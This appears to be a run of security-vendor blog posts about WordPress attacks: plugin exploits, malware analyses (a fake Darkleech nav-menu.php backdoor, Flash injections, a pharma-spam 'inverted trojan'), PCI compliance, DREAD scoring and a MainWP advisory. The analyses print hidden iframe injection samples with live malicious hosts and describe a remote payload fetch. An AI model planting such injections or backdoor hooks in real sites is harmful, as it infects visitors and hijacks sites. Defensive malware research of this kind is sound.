The US Federal Bureau of Investigation (FBI) just released a public service announcement (PSA) to the public about a large number of websites being exploited and compromised through WordPress plugin vulnerabilities:

Continuous Web site defacements are being perpetrated by individuals sympathetic to the Islamic State in the Levant (ISIL) a.k.a. Islamic State of Iraq and al-Shams (ISIS). The defacements have affected Web site operations and the communication platforms of news organizations, commercial entities, religious institutions, federal/state/local governments, foreign governments, and a variety of other domestic and international Web sites. Although the defacements demonstrate low-level hacking sophistication, they are disruptive and often costly in terms of lost business revenue and expenditures on technical services to repair infected computer systems.

The FBI also goes into more detail and explain what happens when a site does get compromised:

Successful exploitation of the vulnerabilities could result in an attacker gaining unauthorized access, bypassing security restrictions, injecting scripts, and stealing cookies from computer systems or network servers. An attacker could install malicious software; manipulate data; or create new accounts with full user privileges for future Web site exploitation.

This is nothing new and we have been warning and educating our users over the years through our blog and other mediums. Political defacements are very common and one of the most used forms of online protest. And when a defacement is not practical, we see the same groups leveraging Distributed Denial of Service (DDoS) attacks to try to take the controversial content down.

Plugins being Exploited

The FBI disclosure doesn’t get into details on what is being exploited and what the attackers are doing. We have however had the opportunity to remediate and respond to many sites defaced by this group (and others); we will try to provide some clarity on these attacks.

First, the top 2 plugins currently being exploited are:

• Outdated RevSlider – Version < 4.2 - Possible Source
• Outdated GravityForms – Version < v1.8.20 - Possible Source

The vulnerabilities being exploited appear to be from older versions of the plugins that have yet to be patched. We are not aware of any new vulnerabilities in either of the plugins.

Specially Revslider, which is the #1 by far compared to the others. After these first two, we are seeing many attack against FancyBox, Wp Symposium, Mailpoet and other popular plugins that had vulnerabilities disclosed recently. This list is not exhaustive at all, as it seems the attackers try to exploit whatever they can get their hands on, but it gives you an idea of what they are looking for.

Second, the FBI report also misses one very important point. It is not just vulnerability attempts against plugins, but we also see vulnerability on themes being misused, along with many brute force attacks targeted at WordPress administration panel. They are all used by these political defacements once they can get in.

Third, their recommendations to secure WordPress are missing many important points. They link to the WordPress hardening page that provides almost no real security to the end user.

It is not just about keeping it updated anymore. You have to have security in depth, you have to have monitoring, you have to leverage low-privileged users for most of your actions, you have to monitor your logs, you have to use good passwords, you have to audit the plugins and themes you are using.

*Note that the Revslider vulnerability was also used in the mass malware campaign called Soaksoak back in December, and is still causing website owners issues today.

If you are looking for a comprehensive security solution for your WordPress websites, try our Website Firewall: https://sucuri.net/website-firewall. We call it a Firewall, but in reality, it is a cloud-based Intrusion Detection and Prevention system (IDS/IPS) for websites; one that can protect your site from the attacks described in this post and that the FBI is now warning us all about.

During a routine audit for our Website Firewall (WAF), we discovered a dangerous Persistent XSS vulnerability affecting the very popular WP-Super-Cache plugin (more than a million active installs according to wordpress.org). The security issue, as well as another bug-fix that was included in the issue’s original patch, are fixed in version 1.4.4.

What are the risks?

Using this vulnerability, an attacker using a carefully crafted query could insert malicious scripts to the plugin’s cached file listing page. As this page requires a valid nonce in order to be displayed, a successful exploitation would require the site’s administrator to have a look at that particular section, manually.

When executed, the injected scripts could be used to perform a lot of other things like adding a new administrator account to the site, injecting backdoors by using WordPress theme edition tools, etc.

Technical details

The issue lies in the way WP-Super-Cache would display information stored in cache file’s key, which is used by the plugin to decide what cache file must be loaded.

As you can see from the above, the $details[ ‘key’ ] is directly appended to the page’s content, without being sanitized first ($details[ ‘uri’ ] is sanitized somewhere else, before this snippet).

As the ‘key’ index of the $details variable contains the get_wp_cache_key() function’s return (which contains data coming straight from the user’s cookies), an attacker can insert malicious scripts on the page.

Update as soon as possible

It appears that the author of that Flash malware continued with this method of infection. Now we are seeing more varieties infecting both WordPress and Joomla websites. Though it’s uncertain how many iterations existed in the wild when we first reported the issue, this time we’ve found a lot of websites where the infection looks similar:

infected-site-name.com/images/banners/kxc.swf?myid=1d57987c38051fdc93ea7393b448003e

Identifying the Flash Infection

The similarities are easy to spot once you know what they are. The malicious .SWF file is always stored in /images/banners/ and the file name is three random characters followed by .SWF with an ID parameter appended:

xyz.swf?myid=1d57987c38051fdc93ea7393b448003e

So, how does the infection look this time around? Here is the Flash file decompiled:

Malicious code has similarities to the infection reported in November

The Same Hacker at Work

Apparently, the malware author is the same. Variable names, coding logic, and UserAgent condition are all indicators of this. However, the source website delivering the malicious payload is different. Also, while there were mostly Joomla based websites affected previously, we’re also seeing WordPress sites with this infection.

Ben Martin, a member of our Remediation Team, found infected Flash objects matching our description that were injected inside a WordPress database:

Similar infected .SWF found in the WordPress database

The Impact Five Months Makes

This time, many more sites are being affected — several hundred, maybe more.

Another difference is that at the time of my original post on this infection, no AntiVirus company detected this threat. This time, about half of vendors are detecting the issue:

VirusTotal: 23/57 vendors detect malicious content

Malware evolves every day, and I’m sure we’ll see more variations of this particular strain in the future. You can be sure that we will share our findings with you every time. In the interim, if you find yourself troubled with something similar be sure to look for professional help and get back to business.

Stay safe and keep your eyes open!

Have you ever heard of the term PCI? Specifically, PCI compliance? If you have an e-commerce website, you probably have already heard about it. But do you really understand what it means for you and your online business? In this series, we will try to explain the PCI standard and how it affects you and your website.

We will focus mostly on small and medium size e-commerce based solutions, which is the category that most of our clients fall into.

Part I – Introduction to E-Commerce and PCI Compliance
Part II – PCI and E-Commerce cloud-based SMB’s (coming soon)
Part III – PCI and your WordPress-based e-commerce (coming soon)
Part IV – PCI requirements in detail for cloud-based servers – Open source can help

What is PCI?

PCI is not a law or a government regulation. The right name is actually PCI DSS, which means Payment Card Industry – Data Security Standard. So PCI is a standard that contains a series of security requirements that every merchant, big or small, must follow, to be in compliance.

PCI was created and is mandated by the five major credit card companies: Visa, MasterCard, American Express, Discover, and JCB. The PCI council now administers and keeps it updated.

Every merchant falls under PCI, even if you do not handle a large volume of transactions or use external providers to outsource your credit card information.

For those merchants that outsource their payment process, the scope of PCI is smaller and the verification requirements are lower and can likely be achieved by completing the PCI Data Security Standard (DSS) Self Assessment Questionnaire (SAQ). However, they must still follow the requirements.

PCI and Small Businesses

Many of our clients think that PCI does not apply to them because they are small. This is a very common mis-conception. PCI applies to any business that processes, stores or transmits credit card data. I will quote the PCI website section for SMB’s to explain how seriously they take it:

Small Merchants – You must secure cardholder data to meet Payment Card Industry rules!

Small merchants are prime targets for data thieves. It’s your job to protect cardholder data at the point-of-sale.

If cardholder data is stolen – and it’s your fault – you could incur fines, penalties, even termination of the right to accept payment cards!

If you are not taking security seriously and you do get hacked and your customers information is stolen, you will face serious repercussions.

Why should you care about PCI?

PCI compliance is mandatory if you accept credit card payments. You can’t run away from it. If you do not follow their requirements, you may face penalties, fines and even be prohibited from accepting credit cards in the future.

But that’s not the real reason why you should care about PCI. The real reason is that PCI gives you a number of very good recommendations to secure your online business. They will minimize the risk of your site getting compromised and having information stolen. I assure you that your customers will be very grateful not to have their information stolen from your website.

The fines for not complying with PCI can be harsh, but won’t be worse than the brand impact and the lost of trust from your clients by not taking security seriously.

PCI requirements

Now that you know what PCI is and what you should care about, let’s look at what it entails.

It is divided into 6 major categories, 12 requirements:

Build and Maintain a secure network
Requirement 1- Install and maintain a firewall.

Requirement 2- Do not use vendor-supplied defaults for system passwords or other security parameters.

Protect Cardholder data
Requirement 3- Protect stored cardholder data.

Requirement 4- Encrypt transmission or cardholder data across public networks.

Maintain a vulnerability management program
Requirement 5- Protect all systems against malware and regularly update anti-virus programs.

Requirement 6- Develop and maintain secure systems and applications.

Implement Strong Access Control Measures
Requirement 7- Restrict access to card holder data by business need-to know.

Requirement 8- Identify and authenticate access to system components.

Requirement 9- Restrict physical access to card holder data.

Regularly Test and Monitor Networks
Requirement 10- Track and monitor all access to network resources and card holder data.

Requirement 11- Regularly test security systems and processes.

Maintain an Information Security Policy
Requirement 12- Maintain an information security policy.

These 12 requirements cover different business areas that break down into more than 200 sub-requirements.

Each sub requirement is a check box in the self-assessment questionnaire that you will have to to follow. They can be very simple, an example being 6.2 that requires that “all system components and software are protected from known vulnerabilities by installing patches” to some more complex requirements like 10.2 that requires “automated audit trails implemented on all system components”.

PCI and e-commerce sites

In the next article of this series, we will talk about PCI and E-Commerce-only businesses. What do you have to do if you have a small business that is all online? What if you do not have a real network and your site is in the cloud? What if your business is only you?

Source: The National Archives (UK)

Darkleech is a nasty malware infection that infects web servers at the root level. It use malicious Apache modules to add hidden iFrames to certain responses. It’s difficult to detect because the malware is only active when both server and site admins are not logged in, and the iFrame is only injected once a day (or once a week in some versions) per IP address. This means that the infection symptoms are not easy to reproduce. Since it’s a server-level infection, even the most thorough website-level scans won’t reveal anything. And even when the culprit is identified, website owners may not be able to resolve the issue without help of a server administrator.

Despite the detection difficulties, it was quite easy to tell that the server was infected with Darkleech when we saw the malicious code — it has followed the same recognizable pattern since 2012:

• Declaration of a CSS class with a random name and random negative absolute position
• A div of that class
• A malicious iFrame with random dimensions inside that div.

This is what it looked like back in September of 2012:

<style>.tlqvepxi { position:absolute; left:-1648px; top:-1752px} </style> <div class="tlqvepxi">

<iframe src="hxxp://example.com/21234443.html" width="581" height="476"></iframe></div>

and this is the code from November of 2014

<style>.syxq9la69 { position:absolute; left:-1666px; top:-1634px} </style> <div class="syxq9la69">

<iframe src="hxxp://jsnrgo .ddns .net/nsiumkogckv1tv4locfzyv2eykqss9ltfb9wnmhfqz1ol2" width="285" height="554"></iframe></div>

Very similar, isn’t it?

At some point, Darkleech began to use free No-IP dynamic DNS hostnames (random third-level domains on ddnes.net, myftp.org, servepics.com, hopto.org, serveftp.com, etc. ) and this became one of its distinguishing features too.

New version of Darkleech?

Recently, we began to notice the following code on some WordPress websites.

<style>.cznfvc1d54 { position:absolute; left:-1447px; top:-1785px} </style> <div class="cznfvc1d54">

<iframe src="hxxp:// dhbxnx .serveftp .com/blog/4c2H?utm_source=g86" width="593" height="405"></iframe></div>

That’s the same pattern, except for the trailing iFrame URL part: /blog/4C2H?utm_source=g86.

It stayed the same on all the sites. The only varying part of the URL paths was the value of the utm_source parameter: utm_source=g86, utm_source=g112, utm_source=g90, utm_source=g98, etc.

Sometimes the malware was hard to reproduce, but on some sites it was reproducible on every load. What was even stranger is that we saw this on IIS servers (with PHP support) too. We had not heard of Darkleech infecting IIS web servers.

Malware in nav-menu.php

Then we had a chance to work with one of the infected websites and found the real source of these “Darkleech iFrames”. The culprit was the infected wp-includes/nav-menu.php core WordPress file.

It had the following injected encrypted code in the middle of it:

Malware in nav-menu.php

In this decoded version, we see a backdoor section that allows execution of PHP code passed in the p1 and p2 POST parameters to any blog URL:

… and this section that downloads code from a remote dazzer .slyip .com server and injects the downloaded code into web pages:

Downloading malware from dazzer .slyip .com

Two Layers of Tests

Here you can see that there are two layers of tests determining whether to inject malware or not.

The first layer is in this script. It’s some sort of pre-screening. It makes sure that the requests are not coming from search engine bots or from Google’s network. Also note the commented out line where they used to check for Internet Explorer browsers only — for some reason they removed this condition in the current version.

The second layer is on the remote server. They pass the following information about every request in the parameters of the URL: hxxp: / /dazzer .slyip .com/ordpm/v2/?export=7f53f8c6c730af6aeb52e66eb74d8507&url=nnnnn&g=ggg :

• Domain of the infected site
• IP address of the visitor
• Browser of the visitor (user agent)
• Referrer

It’s clear that this information is used to determine request “eligibility”. The dazzer .slyip .com can track IP addresses and return the malicious code only once in a certain period of time, to requests from the same IP. The IP address also helps with geo-targeting if the attackers are only interested in traffic from certain countries. The user agent string will tell them whether the visitor uses a vulnerable version of a browser that they can attack. The referrer helps them identify visitors who came to the site after clicking on links in search results or on social networks (website owners and webmasters are more likely to use bookmarks rather than search engines).

If all the requirements are met, the remote server returns a base64-encoded malware to be injected into web pages (since it is in the nav-menu.php it will be at the very top of the HTML code, before the tag). If the request is considered not eligible, then dazzer .slyip .com doesn’t return anything and malware is not being injected.

Verifying the Injected Payload

OK, this code is definitely malicious and its behavior is quite typical for PHP malware. But is it really responsible for those “Darkleech iFrames” – or maybe it’s some different malware and removing it won’t be enough to fix the Darkleech problem. To figure this out, I conducted a very simple test — used the malware code to prepare a complete dazzer .slyip .com URL with all the required parameters and made a request to it from a different server — the response came back with a base64-encoded string, which after decoding looked like this:

Pseudo-darkleech code from dazzer .slyip .com

That’s exactly the code that we originally thought belonged to Darkleech. And you might have noticed that the utm_source=g112 parameter in the iframe URL matches the g=112 parameter in the dazzer .slyip .com URL. This test proved that the real culprit was the malware inside one of the WordPress files, not a root level web server infection.

What we see here is malware that uses the same iframe code generation algorithm as we originally noticed in Darkleech: hidden style, div and an iframe inside the hidden dive, with all the names and parameters changing on every load. The use of No-IP hostnames is also common with Darkleech. By the way, the dazzer .slyip .com domain also uses a Dynamic DNS service — this time if belongs to DtDNS (at the time of writing it points to 217.172.170.7 – Germany, Hurth Plusserver Ag).

Remediation

Unlike a real Darkleech infection, this one is pretty easy to deal with. The malware should be detectable by any security plugin (e.g. Sucuri Security plugin) that checks integrity of core WP files. And the easiest way to remove the malware is to replace the infected file with the clean one from the original WordPress package. You can also reinstall WordPress or upgrade it if you are still using an old version.

Of course, this is only a part of the cleanup process. You will also need to find and remove all the backdoors that hackers might have placed on your server and identify the security hole that was used to break into your site in the first place. 

In case of this attack, you may find backdoors that I showed in the screenshot for the backdoor section above in some random files. They may be core WordPress files or third-party plugin files. Try searching for “passssword” (note 4 s). We can also see that most compromised sites are using old vulnerable versions of the Slider Revolution (RevSlider) plugin. Update it ASAP, even if it’s a part of a theme! Update all other themes and plugins too.

Note, we can see that once hackers break into a web site, they infect the nav-menu.php files in all the sites that share the same hosting account (they don’t have to have the RevSlider plugin). Moreover, not only WordPress sites can be infected this way. We also see that the attackers inject the same code into the defines.php file of Joomla! websites, e.g: includes/defines.php, administrator/includes/defines.php

Once you remove malware and update software, make sure to change all passwords. You might also want to check if hackers created additional WordPress admin users as suggested in this post. I can’t confirm it always happens, but if a site uses old versions of a plugin that has been actively exploited for more than 6 months now, then the chances are it’s not the first time it has been hacked and it may be affected by multiple unrelated attacks.

For additional pro-active protection we recommend using a website firewall.If you’re currently infected, and need help, you can learn more about our Website Malware Removal Services.

We are failing each other, we are not setting ourselves up for success. We are learning the hard way, what large organizations already learned – being online is a responsibility and will eventually cost you something.

I recently shared a post talking to the motivations behind hacks. This post was important as it helped provide context and I encourage you to spend some time digesting the information. What it fails to do however, is what I want to focus on in this post.

What are the impacts of these hacks to your website? To your business?

The Effects of a Hacked Website

If you are a large organization, maybe you can quickly understand the impacts of a hack. Say you’re a Facebook? What would be the value for a hacker? I’d argue a couple of things come to mind quickly – you have what is known as Personal Identifiable Information (PII) – always a good thing, and you have the ability to abuse the largest network in the world and affect millions of users world wide. There are obviously a number of other motivations, but the point is the same. The objective[s] is clear and Facebook knows it, and so they invest heavily in its security. The impacts of such a breach could be devastating, think loss in ad revenue, loss in user adoption, etc… This is all common sense, right? It all just makes sense, but how does that translate to the rest of the online world? The 99% of us that don’t own Facebook like properties?

When I speak to website owners, there is often a common trend with the responses I get:

I don’t sell anything or store any information, my website is fine.

or

It’s just a basic little site, with static content.

This is not their fault. To a certain extent, they do have a point. When you think about it rationally, why would someone bother? Fortunately, in my last post I explained why they would. In those one though let’s talk about 4 potential impacts after a hack. Things you might be aware of, but honestly possibly things you haven’t given much thought to.

1. Be Mindful Of your Audience

Maybe you write about puppies, or maybe have a website to provide your clients the assurances that you are real. Whatever the reason, something has driven you to publish something that you feel to be of some interest to someone, and you’re likely right.

In doing so, you have identified a potential audience, and as it is on the web, that audience will at some point find your website. Whether you are a local gym posting your gym hours, or maybe a local restaurant showing today’s specials. The subset of people that have found their way to your website expect and demand a safe experience, even if they’ve never uttered the words.

The easiest way to digest this point is to think of yourself. Think of the websites you might spend your days visiting. Now try to fathom your feelings if while visiting a website you lost your life savings. Try to think of what you would feel like if someone stole your identity.

Should we worry about giving your visitors a safe online experience?

2. Google Does Not Discriminate

Contrary to popular belief, Google does not discriminate. Even if you do not sell, you are likely trying to achieve something. If you’re not, then why are you online? Whether it’s establishing a voice, sharing an opinion, or having a presence. What you are almost always worried about is something known as Search Engine Optimization (SEO), more importantly how you rank on the Search Engine Result Pages (SERP).

Safe Browsing shows people more than 5 million warnings per day for all sorts of malicious sites and unwanted software, and discovers more than 50,000 malware sites and more than 90,000 phishing sites every month. – Google

What if I told you that you could lose all the hard work you put in to gain that SEO ranking in minutes? What if I told you that after a blacklist it could take you months to regain your position on these SERPs? What if I told you that a Google Blacklist has the potential to kill almost 95%, if not more, of the traffic to your website?

3. Something Known as Brand Reputation

Regardless of your business, you have a brand. Whether you realize it or not, and regardless of the size of your audience, trust is an important piece of the puzzle. Many take this for granted, but it’s critical to the success of many businesses.

It can take years to build, and minutes to lose. A hacked website is notorious for destroying trust. Whether its a data breach or a drive by download that infects the visitors desktop. The result of either action, or one of many more nefarious acts, will almost always lead to the same thing – a loss of trust in your brand.

Are you ok if your audience loses trust in your brand?

4. Hacks Cost You More Than Money

I think it’s human nature to think, “This is not meant for me” or “I’ll just deal with it when it happens.” I can tell you though, from years of doing this work and countless engagements with website owners, the cost of a hack is always more than you can ever imagine. The response I always get is the same, “If I only knew it would be this painful.”

As a species, we are risk adverse when it comes to gains, but risk seeking when it comes to loss… – Bruce Schneider

When I say cost, it’s important to note that it goes far beyond money, although that can be crippling as well.

No, instead I am talking about things you will likely never appreciate until you experience it. Things like the emotional toll of not knowing what just happened. Things like the hours you will spend arguing with hosting providers, developers, security professionals; if they would all just understand how important it is to get back online. Things like the fear that you missed something in the clean up process, which only becomes worse if you did and suffer repeated reinfections. Things like the new fear of being online at all, of technology as a whole. All this is exasperated by one simple thought, “Why didn’t I take precautions?”

As surreal as these sound, these are the real costs of a hack. The money is easy to account for, as a business you take that risk; the smaller a business, the more likely you are to take the risk, the larger you are, the more foolish it is to take the risk. It’s the non-monetary impact that catches everyone off guard.

Are you emotionally and mentally prepared for a hack? Is your business?

Accounting for Website Security Is Always a Challenge

When did running a business become so challenging? Trust me, I know the feeling. Everyday I ask myself the same thing. When will the expenses end? Purchase this tool, configure this feature, hire more people. It’s an endless cycle, yet a necessary one. As business owners it falls on our shoulders to make these decisions.

For me, there is nothing worse than getting caught with my pants down. This is exactly what I hear from our clients. No one ever told me I had to think about my websites security. No one ever told me this could impact my business.

I hope this post helps address those points. Leverage these insights to make a better decision. If you can honestly say that known of the four items mentioned above are of any value to your business, then I encourage you to continue with the status quo. If though, for whatever reason, they resonate, then maybe it’s a good time to start asking more engaging questions to your technical staff.

A question like, What do we do for the security of our website?

I’ll close the point with a note to Developers / Designers. Our clients depend on us as their trusted technologists, it’s on us to educate and communicate the realities of having an online presence. Let’s be sure to be doing our part by introducing realistic expectations during the initial engagement process: Yes, the website will require maintenance. Yes, security is something you will be responsible for. Yes, having a website is a responsibility.

– Your Trusted Security Team

Tony

To help provide some clarity on the influx of data, we want to provide some insights to help you, the website owner, navigate and understand these vulnerabilities. We will provide a summary and an explanation of the ones that matter and the ones that do not.

The Impact of Roles (Authentication) in Vulnerabiltiies

Contrary to popular belief, just because you hear “SQL Injection”, it doesn’t mean someone can actually hack your site. The real problem comes in remote and unauthenticated attacks. These can lead to mass compromises; compromised can be mean leveraged to distribute malware, spam and can lead to brand reputation issues like getting blacklisted by Google.

When an attack requires an authenticated user, the severity drops. However, it is not that uncommon for sites to allow subscribers to register. So, any vulnerability that requires a subscriber user can also lead to serious issues.

Once a vulnerability requires a higher role, think authors or editors, the severity and our overall score drops though. The reason this is true is because users with higher roles often have higher permissions and abilities to do things that can sometimes be seen malicious, but are in fact by design. A perfect example of this can be seen in WordPress core.

In core, an administrator is able to inject unfiltered html in posts and pages, and can also execute any command they want via plugins they install. Is this a vulnerability? No, it’s a feature and it’s based on one very important element – Trust. The user that is given that role is given permission to do whatever features have been made available, so if that’s to inject unfiltered html, then the user is expected to do so responsibly.

In security, this is why we place so much emphasis on concepts like Least Privileged – the principle of giving someone the permission they require to do their job, no more, and no less. If they require higher permissions, then give them what they need, for as long as they need it, then reset the role to its original configuration. This however is a topic for another day, but worth understanding as it sets context moving forward.

Scoring Vulnerabilities on WordPress Plugins

We like to use the DREAD score when assessing a vulnerability in WordPress Plugins. A question we often get is, why did you not report on this recent release? Or, why did you report on this release? DREAD allows us to take a more objective approach to released, in hopes that we’ll be able to cut down on the noise and market confusion.

DREAD was developed by Microsoft many years ago and is not that widely used anymore. For us however, we find it to be very useful for web applications, especially when it comes to Content Management System (CMS) disclosures.

DREAD breaks a vulnerability down into 5 categories:

Damage – How bad would an attack be?
Reproducibility – How easy is it to reproduce the attack?
Exploitability – How much work does it take to launch the attack?
Affected users – How many people will be impacted?
Discoverability – How easy is it to discover the threat?

Each category gets a score from 0 to 10 and at the end, you sum them all and divide by 5 to get the final value.

How we classify each category is what counts the most in the work we do:

1. Damage – 0:same as what the role has, 3:Information Leaks, 5:XSS, 8:Authenticated RCE or SQL Injections, 10:Unauthenticated Remote command execution or SQL injections.
2. Reproducibility – 0:requires admin, 2:requires editor, 3:requires author, 6:requires subscriber, 10: unauthenticated
3. Exploitability – 0:fully manual and takes very long, 3:hard to automate, requires author+, 5:hard to automate, requires login, 8:easy to automate, multiple steps 10:one click on a browser
4. Affected users – 0:less than 1k installs, 5:100k+ installs, 10:1m+ installs
5. Discoverability – 0:you have to attempt an exploit to see if it works or not, 3:you have to guess and it requires a log in,6:you have to guess but can attack remotely, 10:plugin announces that it is installed.

With these ranges in mind, let’s see how each vulnerability stacks up.

Gravity Forms: SQL Injection / Severity: Low

The gravity forms team just released an update fixing a SQL Injection (SQLi) on the “sort” argument on their edit page. Only an authenticated admin or editor can actually reach that part of the code, so we consider it a low severity vulnerability. Editors and admins can do so much already, that only trusted people should have this role. If the admin user is performing a SQLi attack, they are likely conducting a number of other attacks and SQLi is probably the least of your concerns.

It can be used on targeted attacks, due to the lack of nounces, but we will not see any major issues coming out of it.

Looking at DREAD:

D: 8
R: 2
E: 3
A: 7 (since it is a paid plugin, we don't know exactly the number of installs)
D: 3

The final score is 4 – Low (8 + 2 + 3 + 7 + 3 / 5)

Pods Plugin: SQL Injection / Severity: Low

The Pods vulnerability is actually very similar to the GravityForms and the WordPress SEO ones. Looking at the DREAD score:

D: 8
R: 2
E: 3
A: 2
D: 5

Final score is 3 – Very Low (8 + 2 + 3 + 2 + 3 / 5)

MainWP-Child: Password Bypass / Severity: High

The MainWP vulnerability was found by our team and we gave it a high severity. The reason we did so is that it was very easy to exploit (unauthenticated) and allows anyone to get admin access to the vulnerable site.

D: 10
R: 10
E: 9
A: 5
D: 6

Final score is: 8 (high) (10 + 10 + 9 + 5 + 6 / 5)

WooCommerce: SQL Injection / Severity: Very Low

The WooCommerce vulnerability is interesting, since it requires an admin or shop manager in order to exploit it. We would not treat is a vulnerability, but as a bug, since it does not allow more damage than what the role (admin) actually can cause.

D: 0 (same damage as the role itself can cause)
R: 0 (requires admin)
E: 1
A: 10 (1m+ installs)
D: 3

Final score is: 2 (very low) (0 + 0 + 1 + 10 + 3 / 5)

WordPress SEO: SQL injection / Severity: Low

The WordPress SEO vulnerability got a lot of media coverage due to its popularity. Was it valid? Let’s look at the scores again:

D: 8
R: 3
E: 3
A: 10
D: 3

Final score is: 5 (Low) (8 + 3 + 3 + 10 + 3 / 5)

Judging Vulnerabilities

Judging vulnerabilities and its impacts is always very hard. A low severity score on DREAD, doesn’t mean it can’t be used on a targeted attack against your site. It doesn’t mean you do not have to patch it and keep your site updated.

That’s why we always make sure our Website Firewall (WAF) is protecting against all of them. For every new vulnerability disclosed, our research team invests the time to test, verify and validate their impacts and ensures that our protection mechanisms are effectively patching and protecting or users.

When looking at the internet as a whole, low severity vulnerabilities will have a small impact overall and requires less marketing to get to the ear of the users. It’s also difficult to decipher the amount of noise being disclosed, we hope this helps provide some guidance into how to make sense of all the information you might be reading.

– Your Trusted Security Team

Daniel

This week I came across something that I can call an inverted trojan — malware (installed without webmaster consent) that added useful features to WordPress.

This is a typical Black Hat SEO hack that has affected lots of WordPress site lately. It creates doorways for pharmaceutical keywords and redirects visitors that come search engines to third-party sites. But the way the doorway code work is quite interesting.

The main malicious file is wp-core.php in the site root directory. To use it, hackers inject the following line into index.php

if ( file_exists( 'wp-core.php' ) ){ require_once( 'wp-core.php' ); }

Such index.php injections look suspicious and tell us that wp-core.php was not installed naturally since this breaks basic WordPress conventions.

Lets take a look inside this wp-core.php

Brute-force protection in wp-core..php

The file has 500+ lines of code and its beginning tells us that it’s a part of the “WordPress-Protection” package that “Creates the bruteforce protection for WordPress CMS. Makes 302-redirect to protect SE juice” and tells us that in order to use it it should be loaded directly first (as a “WordPress bootstrap”).

wp-core.php

I personally don’t buy it, but lets check what it does to be sure.

In the middle of the file, I found the “bootstrap” code.

First it injects “Bruteforce protection” code into wp-login.php.

‘Bruteforce Protection’ Injection

It adds the “onsubmit” handler to the login form that sets the “antibot_ajax’” cookie. Then it also adds a code that checks if that cookie is set, and if not, doesn’t allow to log in. This looks like real protection against bots that don’t execute JavaScript. It’s not bullet-proof, but not malicious either.

Then we see the “Auth 2nd level” code:

‘Auth 2nd level’ injection

This one looks more suspicious since it injects an encrypted code (again, into wp-login.php). However, once un-encrypted, the code appears to be benign. It does exactly what the comment says: it’s the second step of authentication. If the login/password pair is valid, it retrieves the user email from the WP database, replaces all the characters starting from the 3rd and up to the “@” with asterisks and asks to verify this email, providing it in full unmasked form:

Added Email Confirmation Step

So even if a bot supports JavaScript and cookies, and passed the first layer of the added anti-bot protection it will fail on this second step since it needs to know the user’s email address. The same is true for humans who might have guessed/stolen the WordPress password — they won’t be able to log in without knowing the email address.

For users that confirmed the email address, this additional step sets the WP_FLV_EMAIL_CONFIRMED cookie for 10,000 days so that they don’t have to confirm the email every time.

The final “bootstrap” part injects the code that includes wp-core.php into index.php (you can see it at the beginning of the post). It makes sure the “bruteforce protection” is used all the time and restores it if its code was removed from wp-login.php.

‘Patching’ Index.php

So if we forget the unconventional way to add functionality to WordPress, this code indeed adds a real brute-force protection mechanism. Of course it’s not perfect and won’t help against a targeted attack, especially if the attacker knows the protection method. But it certainly will make WordPress more secure and protect against at least 95% of real-world automated brute-force attacks.

So it seems to be a useful benign software. Right? Not that fast. As I told the wp-core.php file had more than 500 lines of code and this “bootstrap” code accounts to less than 100 of them. So what does the remaining 80% of code do?

The malicious part of wp-core.php

The rest of the code doesn’t have anything to do with protection. Actually, it does the exact opposite.

For example, it can show all email addresses stored in WordPress database (this function is buggy and won’t work for many WP installations though). So who needs the email authentication step of that protection if no authorization is required to extract the emails?

It also installs an open redirector. Now hackers can use sites with such a “bruteforce protection” in their email spam, phishing and malware campaigns — they will redirect visitors to whatever websites hackers specify.

Doorways

But the main function of wp-core.php is managing pharma-spam doorways. If a blog URL has a specific parameter (for example “th“, like h t t p://www .example .com/?th=doryx+150mg+exclusivity) then wp-core.php begins to serve spammy content instead of the normal blog content.

If visitors are not bots and come from majors search engine Search Engine Result Pages (SERPs), they get redirected to a pharma TDS (traffic directing system) passing alone the keywords of the visited doorway. Right now they use these two TDS':

• hxxp:// alltds .com/v2/search.html?key=…
• hxxp:// besttdsfarma .com/site/search?q=…


Redirects Detected by Unmask Parasites

Before the redirect, the malware sets a cookie with the same name as the doorway URL parameter (in case of ?th=doryx+150mg+exclusivity URL, the cookie name will be “th“) for the next 100 days so that if the same visitors open this page again (even without a search engine as a referrer) they will be redirected again.

If the visitor doesn’t have that cookie, doesn’t come from search results or is a bot, then such a visitor is shown a pure spam page staffed with lots of pharma keywords and links to doorways on other sites used by the same black hat SEO campaign.

The content of the spammy doorways is stored in the wp-admin/update-backup.db file.

Not Specific to WordPress Only

I should mention that although this malware is supposed to work on WordPress sites (WP-specific brute-force protection, paths and filenames, ability to generate doorways using current WP-theme, etc.) it will work just as well on other PHP sites that use index.php as a default index file. The only difference is the WP-specific function will no longer be used and doorways will be generated using the pre-built template in the update-backup.db file, which in case of non-WP site will be stored in the root directory.

Summary

This malware is really strange.

• It tries to target all kinds of PHP sites and has to inject itself into index.php (which can be found literally on any PHP site). But at the same time the main target of the campaign is WordPress sites.
• That’s why it uses the wp-core.php file name, which doesn’t visually stand out from the other legitimate WordPress files that you can find in the root directory. But this very file name will be suspicious on, say, Joomla or vBulletin sites.
• Index.php and wp-login.php injections, along with the new wp-core.php file can be easily detected by most security plugins that check integrity of core WordPress files. To make such injections less suspicious the malware contains code that adds useful features to WordPress.
• Although the “brute-force protection” features do work, the malware author chose to place the its code in the middle of the wp-core.php file making them less prominent. And the first non-comment lines of that file show that it tries to steal sensitive information. So why bother with real “protection” code if those who can read PHP see the malicious code first, and for those who don’t read PHP, the comments at the top of the file should be enough.
• BTW, it’s typical for hackers to hide malicious code inside larger legitimate files. They usually get some existing plugin or module and add their own code there. In this particular case, I couldn’t find the source of that “brute-force protection” code. Either it comes from a lesser known premium plugin or the hackers wrote it themselves!
]]> http://blog.sucuri.net/2015/03/inverted-wordpress-trojan.html/feed 9 http://blog.sucuri.net/2015/03/security-advisory-mainwp-child-wordpress-plugin.html http://blog.sucuri.net/2015/03/security-advisory-mainwp-child-wordpress-plugin.html#comments Mon, 09 Mar 2015 23:56:20 +0000 http://blog.sucuri.net/?p=12134
Read More]]> Security Risk: Critical
Exploitation level: Very Easy/Remote
DREAD Score: 9/10
Vulnerability: Password bypass / Privilege Escalation
Patched Version:  2.0.9.2

During a routine audit of our Website Firewall (WAF), we found a critical vulnerability affecting the popular MainWP Child WordPress plugin. According to worpdress.org, it is installed on more than 90,000 WordPress sites as as remote administration tool. We contacted the MainWP team last week and they patched the vulnerability in version 2.0.9.2 last Friday.

Per the developers request, following guidance provided in our Note to Developers, we delayed our disclosure to allow users time to update.

What are the risks?

This vulnerability allows anyone to login as an administrator only by knowing the target user’s handle (password bypass). It is very simple to exploit and a big deal as security tools like WPScan already automate the process of grabbing a list of usernames from WordPress sites.

Clients using our Website Firewall are already protected against this issue.

Technical details

*Due to the severity we will not provide a Proof of Concept and will be very light on the technical details. Make sure to update asap!

